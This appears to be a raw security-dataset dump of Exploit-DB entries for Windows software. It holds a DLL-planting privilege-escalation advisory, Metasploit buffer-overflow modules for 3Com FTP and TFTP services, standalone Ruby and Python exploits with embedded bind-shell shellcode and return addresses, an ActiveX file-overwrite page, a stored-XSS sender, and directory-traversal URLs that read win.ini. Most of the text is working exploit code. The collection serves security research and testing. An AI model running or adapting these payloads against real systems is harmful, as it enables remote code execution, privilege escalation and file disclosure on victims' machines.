deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44069
Description: 360 Total Security - Local Privilege Escalation
Type: remote
Platform: windows
Date: 2017-07-12
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes an Privileged Escalation vulnerability found in 360 Total Security.

360 Total Security offers your PC complete protection from Viruses, Trojans and other emerging threats.

Whether you are shopping online, downloading files or chatting with your friends you can be sure that 360 Total Security is there to keep you safe and your computer optimized. Clean-up utility is just one click away to keep your PC in optimal condition.

## Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
The vendor has released patches to address this vulnerability and has only provided these details in response to our query on the status: “We will release this patch on 7/7”

CVE: CVE-2017-12653

## Vulnerability Details
When 360 Total security is load on Windows machine the binaries try to load a DLL (Shcore.dll) in order to display correctly in High DPI displays.

360 Total security install Shcore.dll on Windows 8.1 and above, but not in previous versions (for example – Windows 7 and XP). For this reason, the administration components of 360 Total Security try to find and load this DLL in Windows 7 too, where it does not exist.

Placing a DLL named Shcore.dll in a directory listed in the PATH system variable will load this in the memory space of 360 software. Loading the DLL inside a 360 administration process gives us privileges of administrator.

## Proof of Concept

Install 360 Total Security and optionally update to the latest version
Log into a Windows 7 and create a DLL planting environment
The easiest way is to install Python for Windows
“Add Python to the path” in the installer (most common install option)
Log in as a totally unprivileged user and copy the DLL renamed to Shcore.dll to C:\Python27 (in case you used Python as the DLL planting vector)
Now there are two options in order to trigger the vulnerability
In case the administrator is not logged in, log in as administrator (fastest way)
If the administrator is already logged in – it will take several minutes. The reason is, 360 launches periodically processes in the background. Any of them will trigger the vulnerability and execute the code. Test have shown this is a matter of minutes.
Exploit-DB #16730
Description: 3Com 3CDaemon 2.0 FTP Server - 'Username' Remote Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: 3cdaemon_ftp_user.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '3Com 3CDaemon 2.0 FTP Username Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the 3Com 3CDaemon
				FTP service. This package is being distributed from the 3Com
				web site and is recommended in numerous support documents.
				This module uses the USER command to trigger the overflow.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2005-0277'],
					[ 'OSVDB', '12810'],
					[ 'OSVDB', '12811'],
					[ 'BID', '12155'],
					[ 'URL', 'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 674,
					'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}
				},
			'Targets'        =>
				[
					[
						'Windows 2000 English', # Tested OK - hdm 11/24/2005
						{
							'Platform' => 'win',
							'Ret'      => 0x75022ac4, # ws2help.dll
						},
					],
					[
						'Windows XP English SP0/SP1',
						{
							'Platform' => 'win',
							'Ret'      => 0x71aa32ad, # ws2help.dll
						},
					],
					[
						'Windows NT 4.0 SP4/SP5/SP6',
						{
							'Platform' => 'win',
							'Ret'      => 0x77681799, # ws2help.dll
						},
					],
					[
						'Windows 2000 Pro SP4 French',
						{
							'Platform' => 'win',
							'Ret' => 0x775F29D0,
						},
					],

				],
			'DisclosureDate' => 'Jan 4 2005'))
	end

	def check
		connect
		disconnect
		if (banner =~ /3Com 3CDaemon FTP Server Version 2\.0/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buf          = rand_text_english(2048, payload_badchars)
		seh          = generate_seh_payload(target.ret)
		buf[229, seh.length] = seh

		send_cmd( ['USER', buf] , false )

		handler
		disconnect
	end

end
Exploit-DB #16347
Description: 3Com TFTP Service (3CTftpSvc) - 'Mode' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '3CTftpSvc TFTP Long Mode Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
				sending a specially crafted packet with an overly long mode
				field, a remote attacker could overflow a buffer and execute
				arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2006-6183'],
					['OSVDB', '30758'],
					['BID', '21301'],
					['URL', 'http://secunia.com/advisories/23113/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ '3CTftpSvc 2.0.1',			{ 'Ret' => 0x00402b02 } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 27 2006'))

		register_options([Opt::RPORT(69)], self.class)
	end

	def exploit
		connect_udp

		sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
		sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"

		print_status("Trying target #{target.name}...")

		udp_sock.put(sploit)

		disconnect_udp
	end

end
Exploit-DB #2865
Description: 3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Remote Overflow
Type: remote
Platform: windows
Date: 2006-11-30
Author: cthulhu

Exploit:
# 3comtftpd_xpsp2.rb 
# 
# Copyright (C) cthulhu
#
#
# This is a poc intended to exploit the  3Com TFTP Service version 2.0.1 
# long transporting mode buffer overflow under xp sp2 english 
# (Vulnerability discovered by Liu Qixu)
#
# Usage :
# ruby 3comftpd_xpsp2.rb <victimhost> <victimport>
# Default port is 69 if not specified

require 'socket'

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

sc1 = "\x2b\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02"
sc1 += "\xaf\xbb\x16\x83\xeb\xfc\xe2\xf4\xfe\xc5\x50\x5b\xea\x56\x44\xe9"
sc1 +="\xfd\xcf\x30\x7a\x26\x8b\x30\x53\x3e\x24\xc7\x13\x7a\xae\x54\x9d"
sc1 +="\x4d\xb7\x30\x49\x22\xae\x50\x5f\x89\x9b\x30\x17\xec\x9e\x7b\x8f"
sc1 +="\xae\x2b\x7b\x62\x05\x6e\x71\x1b\x03\x6d\x50\xe2\x39\xfb\x9f\x3e"
sc1 +="\x77\x4a\x30\x49\x26\xae\x50\x70\x89\xa3\xf0\x9d\x5d\xb3\xba\xfd"
sc1 +="\x01\x83\x30\x9f\x6e\x8b\xa7\x77\xc1\x9e\x60\x72\x89\xec\x8b\x9d"
sc1 +="\x42\xa3\x30\x66\x1e\x02\x30\x56\x0a\xf1\xd3\x98\x4c\xa1\x57\x46"
sc1 +="\xfd\x79\xdd\x45\x64\xc7\x88\x24\x6a\xd8\xc8\x24\x5d\xfb\x44\xc6"
sc1 +="\x6a\x64\x56\xea\x39\xff\x44\xc0\x5d\x26\x5e\x70\x83\x42\xb3\x14"
sc1 +="\x57\xc5\xb9\xe9\xd2\xc7\x62\x1f\xf7\x02\xec\xe9\xd4\xfc\xe8\x45"
sc1 +="\x51\xfc\xf8\x45\x41\xfc\x44\xc6\x64\xc7\xaa\x4a\x64\xfc\x32\xf7"
sc1 +="\x97\xc7\x1f\x0c\x72\x68\xec\xe9\xd4\xc5\xab\x47\x57\x50\x6b\x7e"
sc1 +="\xa6\x02\x95\xff\x55\x50\x6d\x45\x57\x50\x6b\x7e\xe7\xe6\x3d\x5f"
sc1 +="\x55\x50\x6d\x46\x56\xfb\xee\xe9\xd2\x3c\xd3\xf1\x7b\x69\xc2\x41"
sc1 +="\xfd\x79\xee\xe9\xd2\xc9\xd1\x72\x64\xc7\xd8\x7b\x8b\x4a\xd1\x46"
sc1 +="\x5b\x86\x77\x9f\xe5\xc5\xff\x9f\xe0\x9e\x7b\xe5\xa8\x51\xf9\x3b"
sc1 +="\xfc\xed\x97\x85\x8f\xd5\x83\xbd\xa9\x04\xd3\x64\xfc\x1c\xad\xe9"
sc1 +="\x77\xeb\x44\xc0\x59\xf8\xe9\x47\x53\xfe\xd1\x17\x53\xfe\xee\x47"
sc1 +="\xfd\x7f\xd3\xbb\xdb\xaa\x75\x45\xfd\x79\xd1\xe9\xfd\x98\x44\xc6"
sc1 +="\x89\xf8\x47\x95\xc6\xcb\x44\xc0\x50\x50\x6b\x7e\xf2\x25\xbf\x49"
sc1 +="\x51\x50\x6d\xe9\xd2\xaf\xbb\x16"

jmp = "\x63\x20\xdc\x77" # jmp esi user32.dll xp sp 2 english

host = ARGV[0]
port = 69

if ARGV[1]
	port = ARGV[1]
end

sock = UDPSocket.new()

puts "[+]Trying to connect to #{host}"
if (not sock.connect(host,port))
	raise "Unable to connect to #{host}"
end

exploit  = "\x00\x02"
exploit += "a"
exploit += "\x00"
exploit += "\x90"* 129 
exploit += sc1 
exploit += jmp
exploit += "\x00"

puts "[+] Connected ... Sending exploit to victim"
sock.send exploit,0

puts "[+] Exploit sended.. Now telnet on port 4444 for your shell"

# milw0rm.com [2006-11-30]
Exploit-DB #3170
Description: 3Com TFTP Service (3CTftpSvc) 2.0.1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2007-01-21
Author: Enseirb

Exploit:
package Msf::Exploit::3com_tftp_long_mode;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket;

my $advanced = 
  {
  };

my $info =
  {
	'Name'           => 'TFTP Server 3CTftpSvc Buffer Overflow Vulnerability',
	'Version'        => '$ 1.0 $',
	'Authors'        => ['Enseirb <vincenty [at] enseirb.fr>', ],
	'Description'    =>
	  Pex::Text::Freeform(qq{
		This vulnerability is caused due to a boundary error during the processing of TFTP Read/Write request packet types. This can be exploited to cause a stack-based buffer overflow by sending a specially crafted packet with an overly long mode field (more than 460 bytes).
                            }),

	'Arch'           => [ 'x86' ],
	'OS'             => [ 'win32' ],
	'Priv'           => 0,

	'AutoOpts'       => { 'EXITFUNC' => 'seh' },
	'UserOpts'       =>
	  {
		'RHOST'  => [ 1, 'ADDR', 'The TFTP target adress', "127.0.0.1" ],
		'RPORT'  => [ 0, 'PORT', 'The TFTP target port', 69 ],
	  },	

	'Payload'        =>
	  {
		'Space'    => 344,
		'BadChars' => "\x00",
	  },

	'Refs'           =>
	  [
		['URL', 'https://www.securityfocus.com/bid/21301'],
		['CVE', '2006-6183'],
		['URL', 'http://secunia.com/advisories/23113'],
		['URL', 'http://www.securityfocus.com/archive/1/452754'],		
	  ],

	'DefaultTarget'  => 0,
	'Targets'        =>
	  [
		[ '0 - Windows XP SP2 ENG', 0x77d4e23b ], #or 0x77bc2063
	        [ '1 - Windows XP SP1 FR', 0x77d8117b ],
	        [ '2 - Windows XP SP2 FR', 0x77d8d9af ],
	  ],

	'Keys'           => [ '3com' ],

	'DisclosureDate' => 'Nov 27 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit 
{
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    my $buff = "\x00\x02"; # for a WRQ (WriteReQuest) (or "\x00\x01" for a RRQ)
    $buff .= "filename_string";
    $buff .= "\x00";
    $buff .= $self->MakeNops(129) . $shellcode; 
    $buff .= pack('V',$target->[1]);
    $buff .= "\x00";

    $self->PrintLine('[+] Try to connect... ' . $target_host . ':' . $target_port);

    my $s = Msf::Socket::Udp->new
	(
	 'PeerAddr'  => $target_host,
	 'PeerPort'  => $target_port,	 
	);
    
    if ($s->IsError) {
	$self->PrintLine('[-] Error creating socket: ' . $s->GetError);
	return;
    }
 
    $self->PrintLine('[+] Connected!');
    $self->PrintLine('[+] Sending exploit...');

    $s->Send($buff);
    $self->PrintLine('[+] Exploit sent!');
    $s->Close();

    return;
}

1;

# milw0rm.com [2007-01-21]
Exploit-DB #7779
Description: AAA EasyGrid ActiveX 3.51 - Remote File Overwrite
Type: remote
Platform: windows
Date: 2009-01-14
Author: Houssamix

Exploit:
=======================================================================================<br>
Author: Houssamix								       <br>
=======================================================================================<br>
- Viva Gazza - Viva Palestine - 						       <br>
AAA EasyGrid ActiveX  v 3.51 Remote File Overwrite exploit			       <br>
Download : http://www.share2.com/easygrid/download.htm		 		       <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6		       <br>

Note : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code   <br>
=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{DD44C0EA-B2CF-31D1-8DD3[PII_REDACTED]00}"></object>

<SCRIPT>

function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.DoSaveFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================

# milw0rm.com [2009-01-14]
Exploit-DB #25025
Description: ABC2PS/JCABC2PS 1.2 - Voice Field Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Tom Palarz

Exploit:
source: https://www.securityfocus.com/bid/12024/info

abc2ps and jcabc2ps are prone to a buffer overflow vulnerability. This issue is exposed when the program is used to process the voice field in ABC music notation files. Since the ABC files may originate from an external or untrusted source, this issue is considered remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25025.zip
Exploit-DB #25021
Description: ABCPP 1.3 - Directive Handler Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Yosef Klein

Exploit:
source: https://www.securityfocus.com/bid/12021/info

abcpp is prone to a buffer overflow vulnerability. This issue is exposed when the program is used to handle directives in ABC music notation files. Since the ABC files may originate from an external or untrusted source, this issue is considered remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25021.zip
Exploit-DB #25029
Description: abctab2ps 1.6.3 - 'Trim_Title' '.ABC' File Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/12028/info

abctab2ps is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

This vulnerability exists in the 'trim_title()' function.

An attacker can exploit this issue by crafting a malicious ABC file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

abctab2ps version 1.6.3 is reported prone to this vulnerability. It is likely that other versions are affected as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25029.zip
Exploit-DB #25027
Description: abctab2ps 1.6.3 - 'Write_Heading' '.ABC' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-12-15
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/12026/info

abctab2ps is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

This vulnerability exists in the 'write_heading()' function.

An attacker can exploit this issue by crafting a malicious ABC file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

abctab2ps version 1.6.3 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25027.zip
Exploit-DB #30373
Description: Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting
Type: remote
Platform: windows
Date: 2013-12-17
Author: David Um

Exploit:
#!/usr/bin/env python

'''
Exploit Title: Ability Mail Server 2013 Stored XSS
Date: 12/20/2013
Exploit Author: David Um
Vendor Homepage: http://www.code-crafters.com/
Software Link: http://download.code-crafters.com/ams.exe
Version: 3.1.1
Tested on: Windows Server 2003 SP2
CVE : CVE-2013-6162
Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail.
'''

import smtplib

email_addr = 'user@hack.local'

email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)

s.login(email_addr, "user")
s.sendmail(email_addr, email_addr, email)
s.quit()
Exploit-DB #592
Description: Ability Server 2.34 - 'APPE' Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-10-23
Author: KaGra

Exploit:
##################################################
##                                              ##
##              Ability Ftp Server 2.34         ##
##        Remote exploit in APPE command        ##
##        discovered,exploited by KaGra         ##
## Use it with netcat: exploit.py|nc (host) 21  ##
##     BindShell at port 4444,one shot OnLy!    ##
##################################################


import struct
shell = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
shell += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
shell += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
shell += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
shell += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
shell += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
shell += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
shell += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
shell += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
shell += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
shell += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
shell += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
shell += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
shell += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
shell += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
shell += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
shell += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
shell += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
shell += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
shell += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
shell += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
shell += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
shell += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
shell += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
shell += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

 

buffer = '\x41'*968+struct.pack('<L', 0x77da76af)+'\x42'*32+shell # JMP ESP=>0x77da76af Windows XP SP1 EngLisH 


print "USER kagra"#      Enter a valid username HeRe!
print "PASS kagra"#  Enter a valid password HeRe!
print "APPE " + buffer

# milw0rm.com [2004-10-23]
Exploit-DB #21735
Description: Abyss Web Server 1.0 - Encoded Backslash Directory Traversal
Type: remote
Platform: windows
Date: 2002-08-22
Author: Auriemma Luigi

Exploit:
source: https://www.securityfocus.com/bid/5547/info

A directory traversal vulnerability has been reported for Abyss Web Server. The issue is related to the failure to properly process the backslash '\', encoded as '%5c', character, which may be used as a directory delimiter under these platforms. By using the URL encoded sequence '%2e%2e%5c', the web root may be escaped.

Exploitation can result in arbitrary system files being sent to a remote attacker. This information may be of value in attempting further attacks against the vulnerable system.

This issue is reported to have different effects in a different environments.

http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
"GET /\..\..\..\..\..\winnt\win.ini HTTP/1.0" (using a Telnet client)
http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/
http://host/%2f%2e%2e%2f
http://host/%2f%2e%2e%2fcgi-bin/